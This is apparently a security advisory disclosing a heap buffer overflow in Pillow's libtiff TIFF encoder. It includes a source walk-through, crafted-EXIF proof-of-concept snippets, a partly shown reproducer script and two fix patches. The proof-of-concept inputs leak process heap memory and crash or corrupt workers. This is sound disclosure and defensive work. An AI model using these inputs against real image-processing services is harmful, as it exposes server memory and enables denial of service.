{"id":"GHSA-xcvg-w56q-r89m","kind":"vulnerability","aliases":["GHSA-xcvg-w56q-r89m"],"related":[],"title":"Heap buffer overflow saving TIFF with libtiff when tags override image size","description":"```\n============================================================================\nANT-2026-CS7N494P  [high]  CWE-787  memory-safety\nHeap buffer overflow saving TIFF with libtiff when tags override image size\nLocation: src/libImaging/TiffDecode.c:1035  in ImagingLibTiffEncode()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen Pillow saves an image as a compressed TIFF, size information taken from the image's metadata can make the encoder read past the end of a heap buffer. Someone who uploads an image can use this to get the server process's memory, including pointers, copied into the saved file, or to crash the process. When the metadata also enables TIFF \"Predictor=2\" compression, the encoder writes past the buffer instead, corrupting the heap and aborting the process. This affects applications that write TIFF through libtiff (any `compression=` other than raw) and either carry the source metadata across with `exif=im.getexif()` / `tiffinfo=`, or simply re-save a crafted palette TIFF with `Image.open(f).save(out, \"TIFF\")`, which inherits its compression and predictor from the upload.\n\nIn `TiffImagePlugin._save`'s libtiff branch, only `BitsPerSample` is pinned to the real image when the tag list for the encoder is built (`src/PIL/TiffImagePlugin.py:1955`). `ImageWidth`, `ImageLength` and `PlanarConfiguration` are set from `im.size` but are then overwritten by the `exif=`/`tiffinfo=` merge loop at `:1768-1772`. `SamplesPerPixel` is never set for single-band modes, so a value from the caller's tags or from the source TIFF's own IFD reaches `TIFFSetField`. `ImagingLibTiffEncode` then passes a row buffer sized from the actual image (`src/encode.c:291`) to `TIFFWriteScanline` (`src/libImaging/TiffDecode.c:1035`) with no check against `TIFFScanlineSize()`, and libtiff consumes a full scanline of the tag-described width from it.\n\nThe attached reproducer demonstrates the read case. A 64x4 greyscale JPEG whose EXIF says `SamplesPerPixel=3, Photometric=RGB` is converted into a valid RGB TIFF in which 128 bytes of each row are live heap, including pointers that change from run to run. The same JPEG with EXIF `ImageWidth=2**27` kills the process with SIGSEGV. For the write case, the values written are byte-wise differences of existing heap contents rather than attacker-chosen data, and nothing beyond the observed glibc abort is shown. The `tiffinfo=` route dates back to Pillow 2.3.0 (`dbf47837ce99`), and the `exif=` route to 8.4.0 (`c0f619384cbc`).\n\n## Details\n\nWhen an image is saved as TIFF through the libtiff encoder (any `compression=` other than raw, or `TiffImagePlugin.WRITE_LIBTIFF`), libtiff sizes its scanline from the `ImageWidth` / `SamplesPerPixel` / `BitsPerSample` / `PlanarConfiguration` tags it was handed, Pillow sizes the encoder row buffer from the real image, and nothing compares the two. In `TiffImagePlugin._save`'s libtiff branch only `BitsPerSample` is pinned in the attribute dict given to the encoder (`atts`, `src/PIL/TiffImagePlugin.py:1955-1982`); the other geometry tags can come from caller- or attacker-supplied data:\n\n- `ImageWidth` (256), `ImageLength` (257) and `PlanarConfiguration` (284) are set from `im.size` *before* the `tiffinfo=` / `exif=` merge loop at `:1768-1772`, so they are overwritten by it — by the EXIF of an uploaded JPEG, or by stale geometry in `im.getexif()` / `im.tag_v2` of a TIFF that Pillow auto-transposed on load (Orientation tag) or that the application `thumbnail()`ed.\n- `SamplesPerPixel` (277) is only put in the IFD for multi-band modes (`:1847-1850`), so for single-band images (`L`, `P`, `I;16`, `1`, …) a value from `exif=` / `tiffinfo=`, or from the *source TIFF's own IFD* via `supplied_tags` (`im.tag_v2`, `:1782`), is forwarded to libtiff. A palette TIFF with `SamplesPerPixel=2, BitsPerSample=(8,8), ExtraSamples=(0,)` opens as mode `P` (rawmode `PX`, extra sample dropped), and a bare `im.save(out, \"TIFF\")` — no save arguments; `compression` and `Predictor` are inherited from the source — already makes libtiff process `2*width` bytes per row from a `width`-byte buffer.\n\n`ImagingLibTiffEncode` then hands the image-sized row buffer to `TIFFWriteScanline`, and libtiff reads one scanline of the *tag-described* geometry out of a buffer holding one row of the *actual* image. With `Predictor = 2` (also forwarded from `tiffinfo=` / `im.tag_v2`) libtiff's horizontal differencing first rewrites the whole scanline **in place**, so the over-read becomes an out-of-bounds heap **write** on every row.\n\nThe tags do not have to be supplied deliberately by the application: `im.getexif()` of an uploaded JPEG returns whatever IFD0 tags the file carries, and the common metadata-preserving conversion\n\n```python\nim = Image.open(uploaded_jpeg)                                   # 64x4, mode \"L\"\nim.save(out, \"TIFF\", exif=im.getexif(), compression=\"tiff_lzw\")\n```\n\nbehaves as follows on the stock build at this commit:\n\n- EXIF IFD0 `{277: 3, 262: 2}` (SamplesPerPixel=3, Photometric=RGB): the save succeeds and `out` is a 64x4 **RGB** TIFF. Re-opening it, the first 64 bytes of every 192-byte row are the image (0x11 fill); the remaining 128 bytes are heap that followed the 64-byte row buffer — e.g. `... 807a97e6527f0000 ... f03632e5527f0000 40832ee5527f0000` (x86-64 heap pointers), different on every run.\n- EXIF IFD0 `{256: 1<<27}` (ImageWidth=2^27): the process dies with SIGSEGV; gdb shows `TIFFWriteScanline (libtiff.so.6) ← ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1035) ← _encode (src/encode.c:139)`.\n- valgrind on the first case: `Invalid read of size 1 … TIFFWriteScanline … by ImagingLibTiffEncode … Address is 0 bytes after a block of size 64 alloc'd at calloc by _setimage`.\n- Control: the same JPEG with an EXIF holding only `Software` produces a 64x4 `L` TIFF whose 256 pixel bytes are all 0x11.\n\nThe write variant needs nothing more than a well-formed 222-byte TIFF and the `exif=im.getexif()` idiom the project's own tests use (`Tests/test_file_tiff.py::test_exif`, `test_modify_exif`); the interpreter dies with glibc's `free(): invalid next size (fast)` (SIGABRT):\n\n```python\nfrom PIL import Image; import io\nb = io.BytesIO()\nImage.new(\"RGB\", (64, 4)).save(b, \"TIFF\", compression=\"tiff_lzw\", tiffinfo={274: 6, 317: 2})  # Orientation=6, Predictor=2\nim = Image.open(io.BytesIO(b.getvalue())); im.load()   # auto-transposed to 4x64; tag_v2/getexif() still say 64x4\nim.save(io.BytesIO(), \"TIFF\", exif=im.getexif())       # or tiffinfo=im.tag_v2\n```\n\nHere libtiff processes 192-byte rows (64 px × 3 samples) from the 12-byte buffer `_setimage` allocated for a 4-pixel RGB row, and `PredictorEncodeRow` rewrites the 180 heap bytes that follow it on each of 64 rows; valgrind on a `-g` build reports `Invalid write of size 1 … TIFFWriteScanline … by ImagingLibTiffEncode (TiffDecode.c:1035) … Address is 0 bytes after a block of size 12 alloc'd … by _setimage (encode.c:293)`. `im.thumbnail((8, 8))` before the save instead of the Orientation tag reaches the same state, as does the purely programmatic `Image.new(\"RGB\", (128, 32)).save(fp, \"TIFF\", compression=\"tiff_lzw\", tiffinfo={256: 1024, 257: 128, 317: 2})` (SIGSEGV). For the source-IFD `SamplesPerPixel` route, a crafted <2 KB palette `PX` TIFF with `Compression = LZW, Predictor = 2` kills the stock build on a bare `Image.open(f).save(out, \"TIFF\")`; with a predictor-less codec the same re-save returns normally with `width` bytes of heap per row encoded into the output.\n\n### Walk-through\n\n`_save` seeds the output IFD from the image and then copies the caller's tags over it:\n\n```python\n# src/PIL/TiffImagePlugin.py\n1746    libtiff = WRITE_LIBTIFF or compression != \"raw\"\n1749    ifd[PLANAR_CONFIGURATION] = 1\n1751    ifd[IMAGEWIDTH] = im.size[0]\n1752    ifd[IMAGELENGTH] = im.size[1]\n        …\n1757    elif \"exif\" in encoderinfo:\n1758        info = encoderinfo[\"exif\"]          # Image.Exif, or bytes → Exif\n        …\n1768    for key in info:\n            …\n1772            ifd[key] = info.get(key)            # 256/257/277/262/284/317 … overwrite the above\n```\n\nThe geometry is only partially re-asserted afterwards: `BITSPERSAMPLE` is always set, but `SAMPLESPERPIXEL` only for multi-band modes and `IMAGEWIDTH`/`IMAGELENGTH` never:\n\n```python\n1847    if bits != (1,):\n1848        ifd[BITSPERSAMPLE] = bits\n1849        if len(bits) != 1:\n1850            ifd[SAMPLESPERPIXEL] = len(bits)    # not reached for L, P, I, F, I;16 …\n1856    if PHOTOMETRIC_INTERPRETATION not in ifd:   # supplied value kept\n```\n\nIn the libtiff branch every IFD entry that is not block-listed — and, after the IFD, every entry of `supplied_tags` (the source file's `im.tag_v2`) not already present — becomes a `TIFFSetField` argument. The only tag pinned to the image's real value is `BITSPERSAMPLE`:\n\n```python\n1955        atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}\n1959        for tag, value in itertools.chain(ifd.items(), supplied_tags.items()):\n            …\n1976            if tag not in atts and tag not in blocklist:\n                    …   atts[tag] = value\n2002        encoder = Image._getencoder(im.mode, \"libtiff\", a, encoderconfig)\n2003        encoder.setimage(im.im, (0, 0, *im.size))\n```\n\nFor the SamplesPerPixel=3 example the tag list passed to the encoder is `[(256, 64), (257, 4), (258, 8), (259, 5), (262, 2), (277, 3), (278, 4), (284, 1)]`; for the ImageWidth example it is `[(256, 134217728), (257, 4), (258, 8), …]`. 256 and 277 are in `core_tags` (`src/encode.c:694`), so `PyImaging_LibTiffEncoderNew` forwards them straight to `TIFFSetField`. For a single-band image `SAMPLESPERPIXEL` is absent from `ifd`, so the loop takes tag 277 from `supplied_tags` — the source TIFF's IFD — when one is present; the `PLANAR_CONFIGURATION == 2` adjustment at `:1783-1788` already compensates for this for separate-planes sources, the contiguous `PX` layout is the remaining case.\n\n`encoder.setimage` sizes the packer's row buffer from the real image — 64 bytes for a 64-pixel `L` row:\n\n```c\n/* src/encode.c, _setimage */\n287    if (state->bits > 0) {\n291        state->bytes = (state->bits * state->xsize + 7) / 8;\n293        state->buffer = (UINT8 *)calloc(1, state->bytes);\n```\n\nand `ImagingLibTiffEncode` packs one image row into it and gives the pointer to libtiff with no length:\n\n```c\n/* src/libImaging/TiffDecode.c */\n1027        while (state->y < state->ysize) {\n1028            state->shuffle(state->buffer, (UINT8 *)im->image[state->y + state->yoff] + …, state->xsize);\n1035            if (TIFFWriteScanline(tiff, (tdata_t)(state->buffer), (uint32_t)state->y, 0) == -1) {\n```\n\n`TIFFWriteScanline` consumes `TIFFScanlineSize()` bytes, i.e. `ImageWidth * SamplesPerPixel * BitsPerSample / 8` as set through the tags. Nothing between `_save` and line 1035 compares that with `state->bytes`. With SamplesPerPixel=3 libtiff reads 192 bytes from the 64-byte block and LZW-encodes the trailing 128 heap bytes into the strip; with ImageWidth=2^27 it reads 128 MiB starting at the 64-byte block and faults. With `Predictor = 2`, libtiff's `PredictorEncodeRow` first runs horizontal differencing in place over the whole scanline (`bp[i] -= bp[i-stride]`), i.e. it rewrites the heap bytes that follow the block before encoding them; libtiff grows `ImageLength` as rows beyond the declared count are written, so every row of the real image goes through. A `PlanarConfiguration = 2` carried over from a planar source reaches libtiff by the same route; there libtiff's scanline (one sample plane) is shorter than Pillow's row, so the result is an undecodable file rather than an out-of-bounds access.\n\nThe non-libtiff path (`compression` absent/raw) is not affected: it goes through `ImagingRawEncode`, which treats the IFD-derived stride as padding and either zero-fills or fails with `IMAGING_CODEC_CONFIG` (`src/libImaging/RawEncode.c:34-37,57-59`). Overriding `IMAGEWIDTH`/`IMAGELENGTH` through `tiffinfo` on that path is an intended feature (`Tests/test_file_tiff.py::test_tiff_chunks`).\n\nThe `exif=` route was introduced in `c0f619384cbc` (\"Added \"exif\" keyword argument to save Image.Exif instance\", 2021-07-04), first released in 8.4.0. The same override through `tiffinfo=` is older: it dates back to `dbf47837ce99` (\"Add arbitrary tags to tiff images using an ImageFileDirectory\", 2013-10-02, first in 2.3.0). The stale-geometry-from-the-file-itself form dates from `1b70a4c6b515` (\"Use TIFF orientation\", 2019-09-13, first in 6.2.0), which added the transpose on load.\n\n## Impact\n\nAffected are applications that write TIFF output from user-supplied images through libtiff. Through the source-IFD `SamplesPerPixel` route nothing more is needed than `Image.open(f).save(out, \"TIFF\")` (format normalisation) on a crafted palette TIFF: `Compression`, `SamplesPerPixel` and `Predictor` are all inherited from the upload, so the uploader chooses between heap corruption / worker abort (`Predictor = 2`) and a normally-returning save whose output carries `width` bytes of the worker's heap per row. The `exif=` / `tiffinfo=` routes cover applications that convert to compressed TIFF while carrying the metadata across — `im.save(..., \"TIFF\", compression=\"tiff_lzw\"|\"tiff_adobe_deflate\"|\"packbits\"|\"jpeg\"|…, exif=im.getexif())`, `exif=im.info[\"exif\"]`, or `tiffinfo=` built from the source file's tags. Neither option is a default, but both are ordinary settings for archival/print/scan pipelines and the idiom used in Pillow's own tests. The uploader then chooses the outcome through a few EXIF shorts: a small `SamplesPerPixel` (with a matching `Photometric` so the result is a valid RGB/CMYK TIFF) returns `(spp-1) × width` bytes of process heap per image row inside the produced file — for a 4000-pixel-wide upload that is 8 KB of heap per row, megabytes per file, readable with any TIFF decoder and containing allocator metadata, pointers (ASLR defeat) and whatever other requests left in freed memory; a large `ImageWidth` kills the worker with SIGSEGV; `ImageWidth`/`ImageLength` larger than the (transposed or thumbnailed) image together with `Predictor = 2` writes `(declared_width − real_width) × bytes_per_pixel` bytes past a small fresh `calloc` block on every row — the values written are byte-wise differences of the existing heap contents, so the attacker controls extent and repetition but not directly the data; the observed result is heap corruption and abort of the whole worker, exploitation beyond that is not demonstrated. Because `ImageWidth`/`ImageLength` are routinely present in IFD0 of camera and scanner output, a benign photo that is resized before such a save also over-reads (its EXIF still describes the original width), so the crash variant can occur without an attacker.\n\n## Reproducing\n\n`repro` is a single Python script that uses the installed Pillow and only its public API; no rebuild is needed. It runs in well under a second.\n\nIt builds the attacker's input in memory: a 64x4 JPEG in mode `L` with every pixel set to 0x11, plus a chosen set of EXIF IFD0 tags. It then runs the metadata-preserving conversion an application would do:\n\n```python\nim = Image.open(io.BytesIO(jpeg))\nim.save(out, \"TIFF\", exif=im.getexif(), compression=\"tiff_lzw\")\n```\n\nFinally it re-opens the TIFF that comes out. There are three cases:\n\n- **control**: the EXIF holds only `Software`. The output is a 64x4 `L` TIFF whose 256 bytes are all 0x11. The verdict can only be `BUG` if this holds.\n- **leak**: the EXIF holds `SamplesPerPixel=3, PhotometricInterpretation=RGB`. libtiff now treats each scanline as 192 bytes, but the row buffer only holds 64 bytes. The save still succeeds and the output is a 64x4 **`RGB`** TIFF. In each 192-byte row, the first 64 bytes are the image (0x11). The other 128 bytes are whatever sat in the heap after the 64-byte row buffer.\n  - The script hex-dumps row 0's extra bytes. They include x86-64 pointers such as `…e06c297e677f0000`, which change from run to run because of ASLR.\n  - It also counts the extra bytes that are neither 0x11 nor 0x00, since those could not have come from the image or from zero padding. On the stock build this is a few hundred of the 512 bytes (200–310 in our runs).\n- **crash**: the EXIF holds `ImageWidth=2**27`. The script re-runs itself as a child process (`repro crash`) with core dumps disabled. libtiff tries to read 128 MiB out of the 64-byte buffer, and the child dies with SIGSEGV (exit code -11).\n\nExpected output on the stock build (the heap bytes and the count vary):\n\n```\ncontrol: L (64, 4), all bytes 0x11: True\nleak:    RGB (64, 4)\n         first 64 bytes of each row are the image (0x11): True\n         row 0, bytes 64..192 (past the row buffer):\n           0000000000000000310000000000000090e5b50669550000e06c297e677f0000\n           0000000001007900007b8804d80c0d8830000000000000001007000000000000\n           0100000000000000801a897e677f0000240300000000000030444a7d677f0000\n           4095487d677f0000885f897e677f000003000001010000000000000000000000\n         220 of 512 bytes past the row buffers are neither 0x11 nor 0x00\ncrash:   child exit code -11 (SIGSEGV)\nBUG\n```\n\nThe last line is `BUG` if the control is clean and the leak case produced foreign bytes, the crash case died with SIGSEGV/SIGBUS, or both. Otherwise it is `OK`.\n\nWith either attached patch applied and rebuilt, the script prints:\n\n```\ncontrol: L (64, 4), all bytes 0x11: True\nleak:    output is not a readable image (no over-read)\ncrash:   child exit code 0 (no signal)\nOK\n```\n\nIn the leak case, the fixed build writes the image's real single sample per pixel but keeps the supplied `Photometric=RGB`. Pillow will not open a TIFF like that.\n\nThe out-of-bounds write variant is the three-line `Orientation=6, Predictor=2` snippet in Details (SIGABRT, `free(): invalid next size (fast)` on the stock build); for a file:line stack run it under valgrind on a `-g` build of the extensions.\n\n## Suggested fix\n\nTwo alternative patches are attached. Patch 2 is the Python-only subset of patch 1; patch 1 also hardens the C encoder.\n\n**Attached patch 1** (`src/PIL/TiffImagePlugin.py`, `src/libImaging/TiffDecode.c`) does two independent things:\n\n1. `src/PIL/TiffImagePlugin.py:1955` — the libtiff branch already pre-seeds `atts` with `BITSPERSAMPLE` so that no supplied tag can replace it. The patch extends that to the other tags that determine libtiff's scanline size, taken from the image being saved:\n\n```diff\n-        atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}\n+        atts: dict[int, Any] = {\n+            BITSPERSAMPLE: bits[0],\n+            SAMPLESPERPIXEL: len(bits),\n+            IMAGEWIDTH: im.size[0],\n+            IMAGELENGTH: im.size[1],\n+            PLANAR_CONFIGURATION: 1,\n+        }\n```\n\n   Doing it here rather than in the IFD built at 1749–1772 leaves the raw-writer behaviour exercised by `test_tiff_chunks` untouched, and because the merge loop visits `ifd` and `supplied_tags` only for tags not already in `atts`, it closes the `exif=`, `tiffinfo=` and source-IFD (`im.tag_v2`) routes alike. A supplied `PHOTOMETRIC_INTERPRETATION` still reaches the file (so EXIF `{277:3, 262:2}` now yields a 1-sample \"RGB\" TIFF that Pillow refuses to open); whether to force it to the mode's value is a format decision that no longer affects memory safety. For the re-saved `PX` palette case it may also be worth dropping the source's `EXTRASAMPLES` from `supplied_tags` (meaningless once the extra channel was discarded on load), as is already done for the planar case at `:1783-1788`, so the output is a self-consistent 1-sample palette file.\n\n2. `src/libImaging/TiffDecode.c`, `ImagingLibTiffEncode` — before the scanline loop, it refuses any configuration in which libtiff would read more than the packer produced, so the encoder stays safe regardless of where tags come from:\n\n```c\n        if (TIFFScanlineSize64(tiff) > (uint64_t)state->bytes) {\n            state->errcode = IMAGING_CODEC_CONFIG;\n            ImagingLibTiffEncodeCleanup(state);\n            clientstate->tiff = NULL;\n            if (!clientstate->fp) {\n                free(clientstate->data);\n            }\n            return -1;\n        }\n```\n\n   The same cleanup is applied to the existing `TIFFWriteScanline` error path. For in-memory output, that path currently frees `clientstate->data` but leaves `clientstate->tiff` set, so the later `ImagingLibTiffEncodeCleanup` → `TIFFClose` → `TIFFFlush` writes into the freed buffer. Both error paths now close the TIFF before the data is freed. The `TIFFFlush` failure branch further down (`src/libImaging/TiffDecode.c:1056`) has the same pattern and is left as it is.\n\n**Attached patch 2** (`src/PIL/TiffImagePlugin.py` only) is step 1 above without the C changes, for maintainers who prefer not to touch the encoder. It closes every public-API route (`exif=`, `tiffinfo=`, a resized or transposed image's carried-over EXIF/`tag_v2`) by which these tags reach `TIFFSetField`. `ImagingLibTiffEncode` still trusts its tag list, though, and the error-path use-after-free described above stays as it is.\n\nBoth patches add `Tests/test_file_libtiff.py::test_geometry_tags`, parametrised over oversized `IMAGEWIDTH`/`IMAGELENGTH`, `SAMPLESPERPIXEL=3` and `PLANAR_CONFIGURATION=2`. With either patch applied to a clean checkout and rebuilt, `repro` prints `OK`, the `Predictor = 2` snippet in Details saves a 4×64 image normally, and the existing TIFF test suites still pass.\n\n## The patch (1 of 2)\n\nTake libtiff scanline geometry tags from the image, not tiffinfo/exif, and make ImagingLibTiffEncode reject a scanline larger than its row buffer\n\nApplies to `src/PIL/TiffImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..36fe5f6b9 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -395,6 +395,28 @@ class TestFileLibTiff(LibTiffTestCase):\n         with pytest.raises(ValueError, match=\"Incorrect tag value type\"):\n             im.save(out, tiffinfo=ifd)\n \n+    @pytest.mark.parametrize(\n+        \"tiffinfo\",\n+        (\n+            {TiffImagePlugin.IMAGEWIDTH: 1 << 27},\n+            {TiffImagePlugin.IMAGELENGTH: 1 << 27},\n+            {TiffImagePlugin.SAMPLESPERPIXEL: 3},\n+            {TiffImagePlugin.PLANAR_CONFIGURATION: 2},\n+        ),\n+    )\n+    def test_geometry_tags(\n+        self, tiffinfo: dict[int, int], monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n+    ) -> None:\n+        # The geometry of the image is used, not the geometry from tiffinfo.\n+        # Otherwise libtiff would read past the end of the row buffer.\n+        monkeypatch.setattr(TiffImagePlugin, \"WRITE_LIBTIFF\", True)\n+\n+        out = tmp_path / \"temp.tif\"\n+        im = hopper(\"L\")\n+        im.save(out, tiffinfo=tiffinfo)\n+\n+        assert_image_equal_tofile(im, out)\n+\n     def test_inknames_tag(\n         self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n     ) -> None:\ndiff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py\nindex 42c1cc96c..aa0895966 100644\n--- a/src/PIL/TiffImagePlugin.py\n+++ b/src/PIL/TiffImagePlugin.py\n@@ -1952,7 +1952,16 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:\n         ]\n \n         # bits per sample is a single short in the tiff directory, not a list.\n-        atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}\n+        # The tags that determine the size of a scanline are taken from the image,\n+        # not from tiffinfo/exif: libtiff reads a scanline of the size that they\n+        # describe from a buffer that holds one row of the image.\n+        atts: dict[int, Any] = {\n+            BITSPERSAMPLE: bits[0],\n+            SAMPLESPERPIXEL: len(bits),\n+            IMAGEWIDTH: im.size[0],\n+            IMAGELENGTH: im.size[1],\n+            PLANAR_CONFIGURATION: 1,\n+        }\n         # Merge the ones that we have with (optional) more bits from\n         # the original file, e.g x,y resolution so that we can\n         # save(load('')) == original file.\ndiff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c\nindex 8a57c523d..6570666fc 100644\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ -1023,6 +1023,23 @@ ImagingLibTiffEncode(Imaging im, ImagingCodecState state, UINT8 *buffer, int byt\n     dump_state(clientstate);\n \n     if (state->state == 0) {\n+        // state->buffer holds one row of the image, but TIFFWriteScanline reads\n+        // a scanline of the size described by the IMAGEWIDTH, SAMPLESPERPIXEL\n+        // and BITSPERSAMPLE tags, so these must not describe a larger row.\n+        if (TIFFScanlineSize64(tiff) > (uint64_t)state->bytes) {\n+            TRACE((\"Scanline size exceeds the row buffer\\n\"));\n+            state->errcode = IMAGING_CODEC_CONFIG;\n+\n+            // Closing the tiff flushes it into clientstate->data, so do that\n+            // before the data is freed, rather than in the encoder cleanup.\n+            ImagingLibTiffEncodeCleanup(state);\n+            clientstate->tiff = NULL;\n+            if (!clientstate->fp) {\n+                free(clientstate->data);\n+            }\n+            return -1;\n+        }\n+\n         TRACE((\"Encoding line by line\"));\n         while (state->y < state->ysize) {\n             state->shuffle(\n@@ -1038,10 +1055,9 @@ ImagingLibTiffEncode(Imaging im, ImagingCodecState state, UINT8 *buffer, int byt\n                 TRACE((\"Encode Error, row %d\\n\", state->y));\n                 state->errcode = IMAGING_CODEC_BROKEN;\n \n-                if (clientstate->fp) {\n-                    TIFFCleanup(tiff);\n-                    clientstate->tiff = NULL;\n-                } else {\n+                ImagingLibTiffEncodeCleanup(state);\n+                clientstate->tiff = NULL;\n+                if (!clientstate->fp) {\n                     free(clientstate->data);\n                 }\n                 return -1;\n```\n\n## The patch (2 of 2)\n\nTake libtiff scanline geometry tags (width, length, samples per pixel, planar config) from the image being saved instead of tiffinfo/exif\n\nApplies to `src/PIL/TiffImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..36fe5f6b9 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -395,6 +395,28 @@ class TestFileLibTiff(LibTiffTestCase):\n         with pytest.raises(ValueError, match=\"Incorrect tag value type\"):\n             im.save(out, tiffinfo=ifd)\n \n+    @pytest.mark.parametrize(\n+        \"tiffinfo\",\n+        (\n+            {TiffImagePlugin.IMAGEWIDTH: 1 << 27},\n+            {TiffImagePlugin.IMAGELENGTH: 1 << 27},\n+            {TiffImagePlugin.SAMPLESPERPIXEL: 3},\n+            {TiffImagePlugin.PLANAR_CONFIGURATION: 2},\n+        ),\n+    )\n+    def test_geometry_tags(\n+        self, tiffinfo: dict[int, int], monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n+    ) -> None:\n+        # The geometry of the image is used, not the geometry from tiffinfo.\n+        # Otherwise libtiff would read past the end of the row buffer.\n+        monkeypatch.setattr(TiffImagePlugin, \"WRITE_LIBTIFF\", True)\n+\n+        out = tmp_path / \"temp.tif\"\n+        im = hopper(\"L\")\n+        im.save(out, tiffinfo=tiffinfo)\n+\n+        assert_image_equal_tofile(im, out)\n+\n     def test_inknames_tag(\n         self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n     ) -> None:\ndiff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py\nindex 42c1cc96c..aa0895966 100644\n--- a/src/PIL/TiffImagePlugin.py\n+++ b/src/PIL/TiffImagePlugin.py\n@@ -1952,7 +1952,16 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:\n         ]\n \n         # bits per sample is a single short in the tiff directory, not a list.\n-        atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}\n+        # The tags that determine the size of a scanline are taken from the image,\n+        # not from tiffinfo/exif: libtiff reads a scanline of the size that they\n+        # describe from a buffer that holds one row of the image.\n+        atts: dict[int, Any] = {\n+            BITSPERSAMPLE: bits[0],\n+            SAMPLESPERPIXEL: len(bits),\n+            IMAGEWIDTH: im.size[0],\n+            IMAGELENGTH: im.size[1],\n+            PLANAR_CONFIGURATION: 1,\n+        }\n         # Merge the ones that we have with (optional) more bits from\n         # the original file, e.g x,y resolution so that we can\n         # save(load('')) == original file.\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 4,352 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nHeap over-read in Pillow's libtiff encoder, driven by EXIF tags of an uploaded file.\n\nAn application converts an uploaded JPEG to compressed TIFF and keeps its metadata:\n\n    im.save(out, \"TIFF\", exif=im.getexif(), compression=\"tiff_lzw\")\n\nTiffImagePlugin._save forwards the EXIF's ImageWidth (256) / SamplesPerPixel (277) to\nlibtiff, so libtiff's scanline size follows the EXIF, while the row buffer that\nImagingLibTiffEncode hands to TIFFWriteScanline (src/libImaging/TiffDecode.c:1035) is\nsized from the real image (src/encode.c:291). libtiff reads past the end of it.\n\n  control  EXIF {Software}                       -> 64x4 \"L\" TIFF, every byte 0x11\n  leak     EXIF {SamplesPerPixel=3, Photometric=RGB}\n                                                 -> 64x4 \"RGB\" TIFF: 64 image bytes + 128\n                                                    bytes of process heap in every row\n  crash    EXIF {ImageWidth=2**27}               -> libtiff reads 128 MiB from a 64-byte\n                                                    buffer: SIGSEGV\n\"\"\"\nimport io\nimport resource\nimport signal\nimport subprocess\nimport sys\n\nfrom PIL import Image, UnidentifiedImageError\n\nW, H, GREY = 64, 4, 0x11\n\n\ndef uploaded_jpeg(exif_tags):\n    \"\"\"The attacker's file: a 64x4 solid-grey JPEG whose EXIF IFD0 holds exif_tags.\"\"\"\n    exif = Image.Exif()\n    exif.update(exif_tags)\n    buf = io.BytesIO()\n    Image.new(\"L\", (W, H), GREY).save(buf, \"JPEG\", quality=100, exif=exif.tobytes())\n    return buf.getvalue()\n\n\ndef convert_to_tiff(jpeg):\n    \"\"\"The application: metadata-preserving conversion to LZW TIFF.\n\n    Returns the resulting TIFF re-opened, or None if Pillow cannot read it back.\"\"\"\n    im = Image.open(io.BytesIO(jpeg))\n    out = io.BytesIO()\n    im.save(out, \"TIFF\", exif=im.getexif(), compression=\"tiff_lzw\")\n    try:\n        return Image.open(out)\n    except UnidentifiedImageError:\n        return None\n\n\nif sys.argv[1:] == [\"crash\"]:\n    # Child process for the crash case (see the end of the script).\n    convert_to_tiff(uploaded_jpeg({256: 1 << 27}))  # ImageWidth = 2**27\n    sys.exit(0)\n\n\n# --- Control: EXIF without geometry tags converts cleanly ----------------------------\ntiff = convert_to_tiff(uploaded_jpeg({305: \"control\"}))  # Software\ncontrol_clean = (tiff.mode, tiff.size) == (\"L\", (W, H)) and set(tiff.tobytes()) == {GREY}\nprint(f\"control: {tiff.mode} {tiff.size}, all bytes 0x{GREY:02x}: {control_clean}\")\n\n\n# --- Leak: EXIF says 3 samples per pixel, so libtiff reads 3*64 bytes per row --------\n# from the 64-byte row buffer. Everything past byte 64 of each row is not image data.\ntiff = convert_to_tiff(uploaded_jpeg({277: 3, 262: 2}))  # SamplesPerPixel, Photometric=RGB\nleaked = False\nif tiff is None:\n    # A fixed build writes the image's real 1 sample per pixel, and Pillow will not\n    # open a 1-sample \"RGB\" TIFF: nothing was read past the row buffer.\n    print(\"leak:    output is not a readable image (no over-read)\")\nelse:\n    pixels = tiff.tobytes()\n    row = W * 3\n    image_part = b\"\".join(pixels[y * row : y * row + W] for y in range(H))\n    beyond = b\"\".join(pixels[y * row + W : (y + 1) * row] for y in range(H))\n    # Bytes that are neither the image's grey nor zero padding can only be heap contents.\n    foreign = sum(b not in (GREY, 0) for b in beyond)\n    print(f\"leak:    {tiff.mode} {tiff.size}\")\n    print(f\"         first {W} bytes of each row are the image (0x{GREY:02x}): \"\n          f\"{set(image_part) == {GREY}}\")\n    print(f\"         row 0, bytes {W}..{row} (past the row buffer):\")\n    for i in range(W, row, 32):\n        print(\"           \" + pixels[i : i + 32].hex())\n    print(f\"         {foreign} of {len(beyond)} bytes past the row buffers are neither \"\n          f\"0x{GREY:02x} nor 0x00\")\n    leaked = foreign > 0\n\n\n# --- Crash: EXIF says the image is 2**27 pixels wide ---------------------------------\nchild = subprocess.run(\n    [sys.executable, __file__, \"crash\"],\n    